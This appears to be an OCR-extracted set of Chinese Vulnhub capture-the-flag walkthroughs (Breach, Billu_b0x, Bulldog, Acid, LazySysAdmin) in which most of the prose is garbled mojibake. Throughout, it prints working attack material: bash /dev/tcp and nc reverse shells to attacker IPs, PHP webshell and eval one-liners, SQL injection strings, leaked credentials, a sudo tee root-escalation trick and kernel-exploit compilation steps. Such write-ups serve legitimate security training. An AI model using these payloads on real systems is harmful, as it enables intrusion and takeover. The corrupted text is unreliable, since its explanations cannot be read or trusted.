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(3) exploit-db.com&E#impress cmsiEid : ZBImpressCMS 1.3.9 SQUENFIE : https://www.exploit-
db.com/exploits/39737/ , B EANRME N /modules/profile/admin/field.php , BRIZIAEBERGEBNREAE ,
ToEHITIEN.

(4) EREIBAKHFEINbox BN 3EHMY | HRORFTFE -

EHEME , FTERNS | IHFOEARBERER P AR ASEBNNES. BHNERIEELZSE , ABImpressCMS
Admin Bill,

SE2ERE , FERS : MichaelSRIITIDS/IPS,
3R, TERSD | B peterfISSLIERHIRIFIE192.168.110.140/ .keystore,
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(2) |5 view Account SREEANFHE , BORSRTEIAEAY Content , RIAH—1THEE Content SSL
implementation test capture , RTHHEE , WITFE :

(3) N http://192.168.110.140/impresscms/modules/content/content.php?content_id=1 TAHE , JLAFE—
2 1 _sSL_test_phasel.pcap HIWiresharkiRERXE , THE.

ERY , ZAEBEEAERES | XM pCAPXHEELABHAMNERKEEN , BEREEERY. MHE They
told me the alias, storepassword and keypassword are all set to 'tomcat' %U%\ Keystore?:éEﬁEj\ key'?‘E;ﬁEj
%‘Biﬁ%ﬁf tomcat .
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keystore , IXEEIRMHt TZH3 ; b. RFHAIgEF Etomcat,

(4) WindowsIZEtZ2=5)DK , E|)DKER T#kZlkeytool.exe TR : &R c:\Program
Files\Java\jrel.8.0_121\bin\keytool.exe

¥gkeystorelEICEZIRE SR , BEkeystoreiXNEHERMBAYFFEIER , @< keytool -list -keystore
c:\keystore HIAZ{HECOStomcat :

(5) NZSEEESH . p12iEH |, $Ekeystorei M Zkeytool R , SHBA : tomcatkeystore.p12HBER |, ©< :

keytool -importkeystore -srckeystore c:\keystore -destkeystore c:\\tomcatkeystore.p12 -deststoretype PKCS12
-srcalias tomcat
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(1) NIEBFE | httpshBEARIE , SES MRS

KIM192.168.110.129F1192.168.110. 140K EHERES , EPEMIHGSEHTTidGS , WEHEE HETHHKE
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(1) BEFtomcatlza :
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(2) FEWAR file to deploysgwarl HE :

HEREBRPHR HERNB R/caidao , B LEjsp AR XUEFHEXMNERT.
(3) (EFRHEESEJIIEREE https://192.168.110.140:8443/caidao/caidao. jsp

(4) EFRSRTIa<SATIER: |, HUTid; pwdap<RRI

(5) RIAYERR : HERERTISD , —2)LEiSiEk  SUEHER | EEEH HiEwar@ A seisdrkaFERsT] , £HLaT
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(2) EXTIEEKRENTURER , FAREtomcatBR , IHEINTIEPEBR /var/www/5446/
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(3) ZBR TAMFA N EIphpth , HRIFEKBTMEfe4db1f7bc038d60776dcb66ab3404d5.php#l
0d93f85c5061c44cdffeb8381b2772fd.php , ERZEII TE FRIIHEE :

XEmysqIEIREEERSIE | ERmysqlidrootlk SRR |, BREAZS,

(4) BRI DRZMMER . TLUREshellZInc : F£37]cmdap ST/ 3E—MshellEIWindowsIEAAINC , &5
% . echo "bash -i >& /dev/tcp/192.168.110.220/4444 0>&1" | bash
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BRIEA K, <

mysql -u root -p

use mysql;

select user,password from user;

exit
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() TiEpUTsuRS | BRBE—MER , ZRERBEIXNE@ , BIgPythonf#iR :
python -c 'import pty;pty.spawn("/bin/bash")"

(2) 1=*NEIFAF milton

su - milton ZfG : thelaststraw

B&EmiltonAFhomeBR TaJsome_script.sh3f4 , iRBAIFIBRYHER.
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XE—REENA , ARSI HHITEE | MibfwebappsBRTHIMH , EitbZ AT HERISETI S E WA
bR, TEEHLE,

EHtidyup.shEIPR , XZEIRIKEENIER , RErootAJLL

BESudof R , HifTsudo -l :

RINFAFEETEL rooti BRI TIX teef2FEaktidyup.shBlAs : /usr/bin/teefll/usr/share/cleanup/tidyup.sh
teefn AT IERGRNERMNREIE | FEERSHEMSM. tidyup.shEiBEEHA,

0x07 : Ri¥rootifRshell , 3kEflag

(1) @Etidyup.shehE N\ z58shelldp<

tidyup.sh34RBroota] 5 , MaeiELArootifRizITteed< , BBAMteetz$Stidyup.sh : FiEKi#shelli$E
Ashell.txt3f4 , {FRbashfz5#shellipSigB LN , FRFERncinS&iEshellfIh , AN ERS ¢

echo "nc -e /bin/bash 192.168.110.220 5555" > shell.txt
B{ERteediEshell. txt B H R tidyup.sh

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
BEtidyup.shXXHEENEI :

cat /usr/share/cleanup/tidyup.sh

(2) ncislrFiF5Eshell, EENIRZroot , flagR—iKE R B RENZEIhomeER !
(3) EF— R crontabIti{ESS , RIMRABE3IH I Ttidyup. shiBERIAINES
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(1) NKITTRASFIE F R ZHCMSHITomcat K S, %63,

(2) B AsshEBZ|Wireshark LS SSLINZRIRE | KB Tomcat GEERURLIIIKSZY

(3) Tomcatf5&get shel BHEh

(4) 121 : LR MKSHIZERS |, RIAETLArootB BRI THIteed SFNtidyup. shiEERMIA |, @ISt RIMESS R root

shell,

XA FRERERYIR

(1) {&EF3keytool SHSSLIES : XZ2IFEMSENR , FEERFIEMTEFER  FAEERES.

(2) Tomcatfg&get shellf , B EERNRTIBEERR  BRELEIARTIDMHET  SRLUIMZERTE TR
BEeiweb sheliZIBTER |, SLPREFAENtidyup.shigIEHIA , E30EE—R. REH—shell#imT LA
“EsERshell T,

(3) EZEMyYsqiTmS |, IRBEIE. XKIJPTHSERT , nchRBexitiBHINARIE , ZFIENE T |, FexitiR
H, EREHABEE , R T miltonlSHIZBIEHE. IEKSRLIE , WIREEHENY—F,

(4) EERSEH TR SR , BKR5#root shelli#i, EZIANFIAtdyup.shEE&ZATE.

(5) BidcrontabAYitXIMESS | Ri#root shellf95 3, EELSEMNXPEELH , tbiliredisfUrootz=OS42H , &
AsshilE %S |, thallASroot crontabfz3# , (BE27EVulnhub®E—REE , WYIFEEEE.
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(EHER
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FEHNisER
IR RS | fEFubunty ( 321 ) EABAREFEA -

e PHP
e apache
e MySQL

BIfR
Boot to root : M\WebMN FIFERFHENREMHL , FHEX1GroothUR,

B1TIRIE

o EBH : SEFAVMWarefTHEEH , RZEZELIRE et , SEHIEMEREUP,
o M : EMER FAWIndowsIZHH , 2B Nmap. Burpsuit, Sglmap. nc. Python2.7. DirBuster,
AWVS, Nessus&EgiBET R , kalilEH# , EEBWindowsIZEH#5MCE .
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o ip&RIM

EahBillu_bOxEEINL , BTFRENMIZE Aneti&E R, , fEANmapiiVMware Network Adapter VMnet8RI-&fY
NATRIERCERIP , BIRJHCEIREHLIP , 9 :

nmap -sP 192.168.64.1/24
$KISEEMip 192.168.64.161
o ImOFBRSSIRAY
{EnmapidiE1-655352im M , FHIRSZRAIFNREIIM (11-ASE) |, IFMERRFEICUF |, <
nmap -p1-65535 -A 192.168.64.161 -oN billu.txt
B ENmOFIRSNT :
i Y [EimARSS
TCP 22 SSH OpenSSH 5.9p1
TCP 80 HTTP Apache httpd 2.2.22

HAwebE : KIFAFEOSRAIE , FHE73"Show me your SQLI skills”,
i IEHE
o WEIZIERE
(1) SQUEN : BIUREN |, BINEENAL.
(2) M ER : FADIrBuster®H , EEEEHMR , KITHA ;
(3) imiE I « RELAIFRIIT , EFHAWVSEIAPPScanidiwi ;
(4) FahiziE | SHEAIFTE , BidFirefoxiEburpf{IE , EburpHXiZERequestfiResponsetd, , FaKiRA ;
5) EEB MRS , EREHR™ . .
(6) WNBRIBFRE , B5 , ZRXBRssh , WRGEE L , TERMshell T,
o 1 WKXETSQLIEN
(1) ERFPEMAERA adnin® or 'a'='a - HEHER , KMFLEIN , HIHEIETry again :
(2) fERsqimapi#fTpostEANIL |, 554 :

sglmap.py -u “http://192.168.64.161" --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms
mysq|l

sqlmapiE NIGSERL , ERTEEN , BRIARIBERFXNEANRSEANZTA | AL sqlmaphiJtamperil]
iRk, BEREAfuzZEN | BEREER.

o L2 : windowsfEMADIirBusterEf B , RRT{FERkali LinuxfydirbEh8 , AERIEZHNERER | FRD
SEHEATIA]

BEITNEKZ |, test.php. add.php. in.php. c.php. index.php. show.phpZ , B&%E : uploaded_images ,
phpmy#RIIE] :

o &3 FIAMHE SRR PphpIRID. passwd3f4
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(1) ifAtest.php : TWEHERfileSEAZ , EER(itfiles 8

MR STHEE © http://192.168.64.1612File=/etc/passwd KIMTGEES , PHESER,

(2) TEFirefoxfYHackbarg& Brupsuits , HEgetiz=K , ZEHpostidzk , XEHBEHIN , KB passwdi4,
fSEAhackerbar post#iE , B] Fipasswd3{4:

fEEburpsuitshEEFEChange request method |, &getiEKi&it Apostigsk , TS passwdS{A4RLIN -

(3) BITEREXFEEHI/% , Tikadd.php, in.php. c.php. index.php. show.php. panel.phpZ32it , [BE
ALOARSARIERT |, B SEaRAES.

(4) EFpasswdX {4, RI1Nid 100009 Sica , sshiEERIFAFEALAZicagkroot :
o B4 :ijlaladd.php. in.phplAEAIEIHE
add.php2— 1 LEHRE , (BERINELAFER  EFRBXHANRENTH , REEEMENRE. in.phpZEphp

infofS&.
o SIS BECPphpiIRE
XREUREEE S, AImysqiERRFEE
FHF% : billu
A3 : bOx_billu
HIEEER - ica_lab
o FI6 : BIIBEINImMysqIZfRERphpmyadminfiil
(1) B dirb 28 /phpmyER |, HiEIZBEREIphpmyadminERITHE :

FEAmMysqIERBEIRERphpmyadmin : AIRFTEAER. BRIBEI— 1 sshFBFRica , mysqlEZKSbilluFflZHg
bOx_billu , Ei{EFRsshflphpmyadmin&BsLL,

BRISQLIANGISIRBMI , BRIRImysqiEEZIBELiEERphpmyadmin,
VISHEN AN IELE : mysqiRBIEESR) , MEHTEERAFENHAUbuntulEE,
o X7 : REEMphpmyBR , B 2phpmyadminE &34

(1) phpmyadminfIBRIARIECE SUA-2 : config.inc.php, EEIFNERR , BITURUSTIERZENIA
FE/var/www/phpmy R,

(2) FEXIMNEEERAIHackbara# Burpsuitd , BITMHEE | iElconfig.inc.php3f4 , HackbarBYERET%
R E 4T AIrootFRS : roottoor
(3) BurpsuitAIRE 5% -

o IS : {#FHMAxshell sshZRrootlk e , opisCLE

o £IR9 : HEEmysql#fE

ZE B EIKErootii R , (BERZEIRIphpmyadminEEZERAA , REEmMysqltilE , rootERE , EEmMysqHIRES
73 : mysql stop/waiting , #EMmysql#ZBINEEZERER. FESEHE , 2iXEBmysql , REEH
TEEA.

ENEFLTES , sshER , BEEMYsqIaITIREESR | BEFFEVAYIPEAL - 192.168.64.162,



o B0 : ERIFPE6 , BiIERIAIMysqlZREERphpmyadmin
B4 : billu , Z18 : box_billu , ZEFHIN.
1E ica_lab #EERJauthz®S , HEIwebERAIAF 2 : bilLu , 288 : hEx_it,

3xHBshell

e 1 : BRindexETHIA , F¥KEcmd shellflx5E#shell
(1) ERwebZRERER , KN\BEWA—HE,

EXRERWSEERE , WSENMEENMAERRK | RN HMAPHEEFENRK. 25— , ZAAEENRE
EFEARR , —MEEA—FREERR |, Wi, BB PRRiE. SEH0. BRRE.

FANEKSHISHMERE FiEE , FEZ BRS¢ http://192.168.64.162/uploaded_images/
(2) Rifadd useriENRFIIKERE , XE—NMNEH LE | BEEFNAE R L& a3%Eshell,
BEZHItest ) 23k15MIpanel.phpiEf3 , RIpanel. phpFEARMIHE SR

TE—35K http://192.168.64.162/uploaded_images/ HRIE Frjack.php , AGRERSHTH , FEXFHiEIEREN
A—TIEMATESE <?php system($_GET['cmd'1); ?> $E314 LIERLTIA.

(3) fEERburpfITarS : postiBRurl AT SHISEL © POST /panel.php?cmd=cat%20/etc/passwd;ls
postAgbody® & cmd.jpgBlF5 : load=/uploaded_images/cmd.jpg&continue=continue
RRINHITES cat /etc/passwd;ls
(4) Abashfz3#shell
@< : echo "bash -i >& /dev/tcp/192.168.64.1/4444 0>&1" | bash
FERmurlyRED
Epostfurlh&ixm< ¢
nciZ23 & shel BT -
o ZBI2 : H—MAENRER , BAXIIS

X1 EfEERuploaded_imagesASHIRER , HANIZER , B—1"3¥J]J5 : echo '<?php
eval($_POST['123456']);?>" >> caidao.php

SRTTERERD | R,
AR

o ZBI3: BENZ. RARA , FHiENexp
(1) BEBERAWIZIRA , < uanme -a F] cat /etc/issue
(2) TEUbuntuZZRIAIRIRmIRexp :
https://www.exploit-db.com/exploits/37292/

o FIR14 R, 1B

(1) T FHRATIR


af://n21636
af://n21698

chmod 777 37292.c
(2) fmiFexp
gcc 37292.c -0 exp

(3) HiTexp , R Z=root

BIRELS

HithisiE i
EHMNBIERBETLIR.

BERT : &N : MtestlIs{4B S3K18index.phpiRiS |, IRRSH eI EEETEsqIAE |, SHTEMIEsqlEN |
BRIEIRBshel BT,

(1) Eitindex.phpiEfs , AILATILERIA
$uname=str_replace('\"'',"'"',urldecode($_POST['un']));
$pass=str_replace('\'',"'',urldecode($ _POST['ps']));

str_replaceRIERREFRE\ Btz , AESQLENERpayloadly , MWARB\'FRHE , BUSRE.
urldecodeRYFRIR MRS,

2) BEIHIFI B ENB R payload2' or 1=1 - (XX MERSIENN , str_replaceiEX MBS,
{EphpELIEIX TR , Wi T :

(3)iENRLIY , payloadZ' or 1=1 --\'

[EE3AEshell75iAF0_EESLIotERE).

B2 : JEEHphpmyadmin , S4EEMc.phpiRiEmysqlZs , ERphpmyadmin , B3KEshell,

BIE3 | W4 EFaaREENEE X , MphpmyadminEiE 43RS rootZhS |, AARSshER., ZIER
EmysqltifE , AT LA5ERk.

o ERERI

(1) mysqiEEEE B RERATEIASY, | SHphpmyadminS ERERELESS  SERKE, 2B
. EAZHNA TERNBRER. sqimapi \EERTE , S5mysqiftT.

(2) test.phpX R ETREFA , getAT , Bpostidlit. BEMINE  EESMRENREE TEHIT.

(3) index.phpBISQLENEZEAMRIE] , fEREI , BMEARRsqIEN , PEEMBEEATLATR, , @il
phpmyadminZR , L83 TiEA.

(4) panel.phpRIM B ZiEE , MRAAEXTIFT , MLULRI. fERtest.phplIXHEE | iREERAshellFIFA.
(5) X4 EE+ B EZEshel REENERRIG , BEIRNEE , JLFGEhell,
(6) IREUTETUSKTEBMNEREX Y. HIRFEERXE. BRIXMY ; BRILFIBUbuntuBATRIRZS IR,

%= bulldog-1


af://n21730
af://n21732
af://n21780
af://n21781

LSRR

5% . TR%S
BARLZEE : https://www.anquanke.com/post/id/106459
TakhEis
https://download.vulnhub.com/bulldog/bulldog.ova
AJ
$E4N15 88

IR T RIS SRR ERFAREEIS. XEEEREEESRETLFIA ? (R AKAE
le?:)

X2tnERIBoot-to-Root, HirZ#H A root B RHBEZINEEHR.
iR
$KGrootipRFflag,

BETIIR

e 4CH1 : AVirtualBoxBaIEE , SAGRE  MESERLNRENHRIITEMN <. EIEE  BaBAEP
172.20.10.7,

o WindowsIE#l : WIEH , EEETTEM K , BahFREUP : 172.20.10.5 , &%HBurpsuit, nc, Python2.7,
DirBuster&igiz T H,
o KaliZtehtl : VMWarefSahEe , HHERIFTLEME , BEhEKEUP : 172.20.10.6, LI —ik—RDd],

(SRS

o ip&KIM

SR . BEBREIP , ARRMEEHFA/ERISE | 1P 0 172.20.10.7, FHEBNmapiIECRAILIP,
o ImAFIARSSIRAY
{EMRnmapi3i#i1-65535&imH , FHMIRSSIESORE! , IMERFEFEIt , &
nmap -pl-65535 -A 172.20.10.7 -oN bulldog.txt
RIMBRENIROFIRSAT
im0 Y FRIRARSS
TCP 23 SSH open-ssl 7.2p2
TCP 80 HTTP WSGIServer Python 2.7.12
TCP 8080 HTTP WSGIServer Python 2.7.12

BEZRSA : Linux 3.2-4.9

mEHZHE


af://n21781
af://n21783
https://download.vulnhub.com/bulldog/bulldog.ova
af://n21786
af://n21791
af://n21794
af://n21805
af://n21836

o webfmiREE :
() BEEEB I NEARE , B8R,
(2) EKBF , FADirBuster , EEEBHMRE , HFFMITATRR ;

(3) FIENTAELRFR - WRMIRBEAE. URLSEL , STAWVSIHEREN ; S1RwebERTHLECMSIESR , Rgk
TERAVERRR |, BREEEAZIEN.

e sshFFEREE :
(1) WEEIRFE , FTLARRNIEEEEAST RGO | (BFERARNFHATFEOL.
(2) IREEIWebEERRAMS |, SILA=IREEssh |, gz L |, THREshell T,
o LB NENR , FFER
(1)3418 http://172.20.10.7/ BENER :
BHIANE  mEdAnoticell@ , KERMENENEE.
(2) fEFADIrBusterEF AR , 5% /deviladminER :

(3) 1AI8) http://172.20.10.7/admin , XE2— 1 DjangoBEER , FEAFR. BRER , Ay NEEEKSEN
<€ SAEREN  FEEHEMITA.

(4)3518) http://172.20.10.7/dev , IZRENBNMEEEIEESZ , FTEER

HRFAIEERPhpIEEICMS |, TREEFADjangofBRAR. XEWREAKTEBREIMITHIEINFR , REgk
DjangotEZiEiR ; MitAEMphp , THEBHKphpRREHESphp RS ;

ARG EAwebshellETE , H—Web-shellfi$z , RERIAIE) http://172.20.10.7/dev/shell/ {BRFEIAIL.
o LI : WfEhash

(1) EE nttp://172.20.10.7/dev TAENRAD , SRMBE N Team LeaddImpFEFIhash:

HEBRREAIZSRT : We'll remove these in prod. It's not like a hacker can do anything with a hash,

(2) hashi<E 940z , AJLABHEshal , BMEARIERMFhash , BAJLUEE~hashiE , FICMDSEIRFlHERR

w
= .
=

(3) R&fEHEH 2 hash{d :
Back End: nick@bulldogindustries.com

FBF% : nick , %78 : bulldog ( CMD5RJRZEMREEHK )

Database: sarah@bulldogindustries.com

FAF4 : sarah , 45 : bulldoglover ( CMD5EEZEHEZHE )
o £B3: BRER
(1) EFBAFE HRAVE RS =IH E R HRAV2 3im [ sshEBSI :
(2) fFsarah, Zf8bulldogloverIHEREEER , KILLERENR.

(3) BELiEwebshelllE , EETIANE , AIHATES  XE— P ap<SHITHRE !

3xHBshell


mailto:nick@bulldogindustries.com
mailto:sarah@bulldogindustries.com
af://n21924

o BB HIABHERE , FUTEFHS :

webshel TWAIRBEHUITERRRIGS , A SE&ER , UTS < !

IsEERRWS , IdZFELLG<S , B 1s && id AJRIIHUTIAERS | IREISTHRRREIITSR <.
o LIRS : [Zoshell :

(1) WindowsIZEHFFBNcSIT © nc -lvnp 4444

(2) B¥EHAT 1s && bash -i >& /dev/tcp/172.20.10.5/4444 0>81 KW , serverfiziE500,

(3) =& Rbashfz# , Ex/afEechomsEitian< , B#AZRIbash , K3#shellpI :

echo "bash -i >& /dev/tcp/172.20.10.5/4444 0>&1" | bash

HEAER

o FR6 . EERMLRRAMBF cat /etc/passwd , KMFEXRENAFE : bulldogadmin, django
o ZB7 BB AFRIUY (FRE/REIR ) find / -user bulldogadmin 2>/dev/null
() BIEBRFESR | — 1 Enote , — N EcustomPermissionApp,
/home/bulldogadmin/.hiddenadmindirectory/note
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
(2) FIFFnote XA : AR webserverGRIFEZErooti R,
(3) ¥TFFcustomPermissionApp , B EXRAHITM | EAstringstTENEFRIRTFTENFFT
strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
noteSXHIRRHUTIZS |, BTLAEK B rooti R , BEEIsEEXHIPRAGIENIR | HRiEHNIT,
o IR : PHErootFERBEMN

(1) MR REXEFRT |, BURTRESEREX | I RIAEHE | SUPER, ulitimate, PASSWORD,
youCANTget , IXEERSEESNRIKSEX | HENXE—MEREE

REERNAESEXEH , TH—OBIRAYZEIAEF : SUPERultimatePASSWORDyouCANTget

(2) sugpSTEHAT , 27~ - must be run from a terminal , RVulhubB&i82Ii3i%Ia5R , @i —aPythonfi#
R’

python -c 'import pty;pty.spawn("/bin/bash")’
(3) 14T sudo su - , $K18roott R , $KEXflag :

(4) MNRAfRRT Esu , WicEB23imHMssh , BETLAFERXsheli@dsshER , BERAINEHITsudo su - 1283F
$K15flag

FAF% : django
Z2F0 . SUPERultimatePASSWORDyouCANTget AFIBMIAVZERD , M T djangoB&EFAILA,

sudo suiEt , ZRBE2 © SUPERultimatePASSWORDYyouCANTget


af://n21955
af://n22019

$017 78\ (o] o5

1.BREHRHdeviladminam :

(1) ATRAZHdevilE , ZRERBEEEZMKSHIBFE. WA, ZishalfE, ZRERHEHEE webshelldp<
HATUE.

(2) AIEAKHadmin[EERE , EREEE devIuE##Fsha1158],

2 5IAZRARE , T SHREshell : SUIIRFIITHSHRBS. Kishel =it Z R fERAbashxi#shellfg
D . i&B=ipy shell,

3ERRFZHid1000LAFHIRFEIS M | BTLAKERSHRIS 4.
4 S5 ro ot ZE B IR ARME.

BIRES

M AFNEREIRIIR

(1) KBF0FE#Eshal | TEdeviREIEEIRS , KMEZ 1M HPhash/g | BMERRIER40/shal , tBeJLAEEE
cmdSHERE |, RFESBENRE , ATLARRH2AMNMKS, 1R MBhashcat®EiEshal , BEEKHIFERFNRIKAIRTIE],

(2) RBshellRZEZ#7E% | E—MERIFIEDbash shell , 8% 7 pythonRishell, R 7 @idbashi#
shell , SNERbashBEARRID , AIEXFERFechoXX i , MF+xPUTIIR , PUTHIA R, tBAIEidPython2E8EE
fgfz3Eshell,

(3) RIS rootZERBAI M , BISHERIAAN1000Z/ENAFXMH , EEHEGS  HEEEBR , thAJsk
HE,

(4) FBfErootE D | XPEEMERY , HEIXMEFAME , (BRETstringsEEXHAR | FEFHEFRFEroot
Y, BOEEERAK.

FEMNPH Acid

1£&  dBR%2
BALZEE : https://www.anquanke.com/post/id/10546

CHER
TEkEEE
https://download.vulnhub.com/acid/Acid.rar

b

Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors.

IULREIACIHRIHSR, BENEFEEANERRTHEA].

Bitx



af://n22019
af://n22032
af://n22033
af://n22042
af://n22044
af://n22045
https://download.vulnhub.com/acid/Acid.rar
af://n22048
af://n22054

K5 rootipRFflag,

IE1TIRR
o HEHEE : ZEPWTEETWeb , #2ErarFERVMplayeriz{zvmx , MEIEZSRIRE Anet , BEHEE)
SREXIP,
o IGENELE : AMER FEWindowsIZHEA , Z2EHBurpsuit, nc, Python2.7. DirBuster, fHGIsET
B

==o

[ERURE

o ip&kI

BRACAELIL , BFMBZIZE InetiRs, , {FRANmapiFHiVMware Network Adapter VMnet8/I-<HINATIIER |,
BPRTRIRENLIP , IS RRFRIUY | 5

nmap -sP 192.168.64.8/24 -oN acid-ip.txt
$KISE#Rip 192.168.64.153

o Um[IH3HE
{EFAnmapiafi1-655352um 0 , FHIRSIESORE , FMEREFRI U |, < -
nmap -p1-65535 -sV -oN acid-port.txt 192.168.64.153
BrENA33447iwO%TwebiRS , webfR$E 85 EApache2.4.10 , B{ERFubuntu,
http://192.168.64.153:33447 AT :

o BRSSIRAY
REHwebfR$ESF1Apache , REEMwebiFiAEEApacheilGRAF (WERRE) :
iw : Tcp 33447
[REIRSS : Apache2.4.10
EMEZRSE - Ubuntu

oy e S e

o webiZHERE :
(1) EEB N MIRRIIRS , EREHR: .
2) EFEER , BEGIsDirBuster , EEBEHMA , HFTMTTHIRHR ;
e ApachelSHEREE :
(1) S#kApache2.4. 106 LEMBRAFA | IREANTEZEF BIRE.
(2) Elwww.exploit-db.comBEiEGFexp : i&EHKElexp.
(3) NessusiAfs— FEHLTA : IREHARLHIFE.
o SAEHAEIRR : BAFEIFEAUbuntu , BRIGIE,



af://n22057
af://n22068
af://n22110
http://www.exploit-db.com/

o HB  HEBEERE , KPURR : 0x643239334c¢6d70775a773d3d
Ox2161HHI4RA3 |, 15(E643239334c6d70775a773d3di#H{TASCII hex#:A3 , ZFRY : d293LmpwZw==
KIZbase6ddmty , BIHITHED , SEIEIR{SR wow.jpg

XESEI LIRS E R E#IIERYT : /image/wow.jpg 8# /images/wow.jpg 8¢& /icon/wow.jpg MuSHIE A
BREEEXHEHE. LaLFIAdirbusteri#{TERIEH , 5RIE K BRimages.

e I7A] http://192.168.64.153:33447/images/wow.jpg BEIEH :
o BER{RFEIAM , FNotepad++TFF , RIE FOBIRR

153761656530663664353838656439393035656533376631366137633631306434i81TASCI hexd&is |
7aee0f6d588ed9905ee37f16a7c610d4 , XE—EEmdS5,

i
H
| Bl

FcmdSiEER | 185163425 , HENE—/NZF0EkE D,
o SIB2 : {FEMADirbusteri{TEREM :

BEEWRER | KWchallengeBE , iZEZ Facake.php. include.php. hacked.php , FiBurpsuitif EIE
fsEFAFirefoxARHORIEIA3N IS -

o FIR3 : ifiajcake.php , KMBEEREAEEHA
ZUENERE TN EtitleEi & BburpsuitfIResponselR[EHERY , &G/ Magic_BoxBRFE , SEHEMBITHE.
miblogin= Bk Elindex. phpBERUH , FEemailfIZEAREER
o FIZ4 :ifalinclude.php , XE— 1M NEEERREINE :
FEBNEFIN /etc/passwd WHFAENHEE | BurpsuitiEzresponse T :
B EEshell , (BiRBXMH EER , ZRIRINwWow.jpgP ARSI RS, FksFEhacked.php,
o XS : ifiajcake.php , TWEHAID , Wi FZRIMwow.jpghREE HKATET © 63425
HE  HAtiRBRE | BRIDAY , HEFRETBEIindexWEBAemailfIZEER.
o BI6 : HIEN | IBRIAV LN NEEIENAWVSIRE TR , REILEN.
o SB7  REEHFAIIFIMagic_ BoxBR : &AHlow.php,command.php
o £IR8 : ifAlow.phpRNERE , Acommand.php , KIEGSHITRE :
AHUTR DS , HIN192.168.64.1;id EEEburpsuitiiresponse & Iidas<SHIITRIN.

3xBshell

e $9 : FIAphp/&i#shell, WindowsFEnc , 444407

JoEEGREE ARG , fEget, postiEKAEIA\payloadEEHITurlfRiZ, =idbashfzifshell, nchzaéshell , a0
payload&Rsny :

bash -i >& /dev/tcp/192.168.64.1/4444 0>&1
nc -e /bin/bash -d 192.168.64.1 4444
BidphpiitshellpkIl , B0 Fpayloadi#fTURLIRRGSG , fEburptA&i:

php -r '$sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'


af://n22233

nchk IR shelll

BRETEN TSRS , EIEEsu: must be run from a terminal FE— &%, KBEHINE | &¥&googleT—
T, #HEIEZE - Apython@AAtEAIshell , d5< :

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

HATSUBRT :
AR

o FBI0 : EEBAWLRIAF cat /etc/passwd KMFEXTAIAFE : acid,saman,root

o BB ERENTAPIXXMH (REREIR ) find / -user acid 2>/dev/null
KI/sbin/raw_vs_isi/hint.pcapng3Xf , XE—NMMERENEIM | BEFENRKali L , FAWireshark$TF :
scp /sbin/raw_vs_isi/hint.pcapng root@10.10.10.148:/root/
RETCPNYAIE , ABsamanBIZES : 1337hax0r

o LIR12 : suiRtNFlsaman, root , $X15flag

B{#FEFsudo -i #12i&root , BREEIFER1337hax0r , KB FrootERMflag.txt,
$C1% B R E]m

EERNRIT RIS EEINM—EEEXE : http://resources.infosecinstitute.com/acid-server-ctf-
walkthroug h EESEHESE

1.FREREN , FXFEM Hchallenge , BR. cake.php. include.php. hacked.php , X EH
Magic_BoxB R &M command.php,

2. RS HITRER . Fphp&iEshell , FEhttpH &g T payloadi#tiTurlfmis.
3 SURINEE— M &in , IRBEKREEGooglefB R T .

4R RET BRI | RIVEE | K ReommsHE,
BIREES

FEUWER

1. S HTRERFERphp/#shell, LgTERREAbashagnc,
2. SUIRIIEE—/ N RiR , FEAPythonfigik,
3. 3 f5shellfe , SEZSBHRZIMNEPXE |, ATeEEFHEI.

BREIRYIR

1. XHBERE , ISEFREAR AR HER , TEEETKEshell ;
2. SURNEE— /KRR | ISEMIREEIEAY , KESFIESHGoog el @EmER,


af://n22268
af://n22302
af://n22315
af://n22319
af://n22330

3. index.php TWEBRSHEMG FEF RFNERBAYTIENR]T |, MIRAREEIMNIHIE | BELEEE,
4. KOBEFMBH T , ERESIBOAFEAT , RESEROWASPRISKFE , BREMEGI T LHEEMFEFS
MOCHER , JLI—BEREG<SHITRE.

Bz, migBgooglel @RMBAREST . BRI , BEFEHIBE , £2854543.
- === ° .

AT LazySysAdmin: 1

(SR

TEchERE

https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip

S—4= -
IB1THIR
e Virtualbox ( Zi%&—)
e Vnware Workstation player

BRI

e Enumeration is key

e Try Harder

Look in front of you

Tweet @togiemcdogie if you need more hints

Halves
ipA&IR

FEARARETIRNG , eJLAERNetdiscoverski#T.

netdiscover -i wlo1

- evilk® netdiscover -i wlol

Currently scanning: 192.168.21.0/16 | Screen View: Unique Hosts

1 Captured ARP Req/Rep packets, from 1 hosts. Total size: 42

IP At MAC Address Count Len MAC Vendor / Hostname

192.168.0.100 08:00:27:da:8a:ac 1 42 PCS Systemtechnik GmbH

U WS
{Emasscani3ig


af://n22348
af://n22350
af://n22351
https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip
af://n22354
af://n22362
af://n22376
af://n22377
af://n22383

masscan 192.168.0.100 -p 1-10000 --rate=1000

- evilke masscan 192.168.0.100 -p 1-10000 --rate=1000

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2018-01-31 12:53:27 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 1 hosts [10000 ports/host]

Discovered open port 3306/tcp on 192.168.0.100

Discovered open port 6667/tcp on 192.168.0.100

Discovered open port 22/tcp on 192.168.0.100

Discovered open port 139/tcp on 192.168.0.100

Discovered open port 80/tcp on 192.168.0.100

Discovered open port 445/tcp on 192.168.0.100

SEFnmapidiE

nmap -T4 -A -v 192.168.0.100 -p 0-10000

=> evilke nmap -T4 -A -v 192.168.0.31 -p0-10000

Starting Nmap 7.50 ( https://nmap.org ) at 2018-01-31 20:55 CST
Scanning LazySysAdmin.lan (192.168.0.100) [10001 ports]

Discovered open port 80/tcp on 192.168.0.100

Discovered open port 22/tcp on 192.168.0.100

Discovered open port 139/tcp on 192.168.0.100

Discovered open port 445/tcp on 192.168.0.100

Discovered open port 3306/tcp on 192.168.0.100

Discovered open port 6667/tcp on 192.168.0.100

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1pl Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 1024 b5:38:66:0f:al:ee:cd:41:69:3b:82:cf:ad:al:f7:13 (DSA)

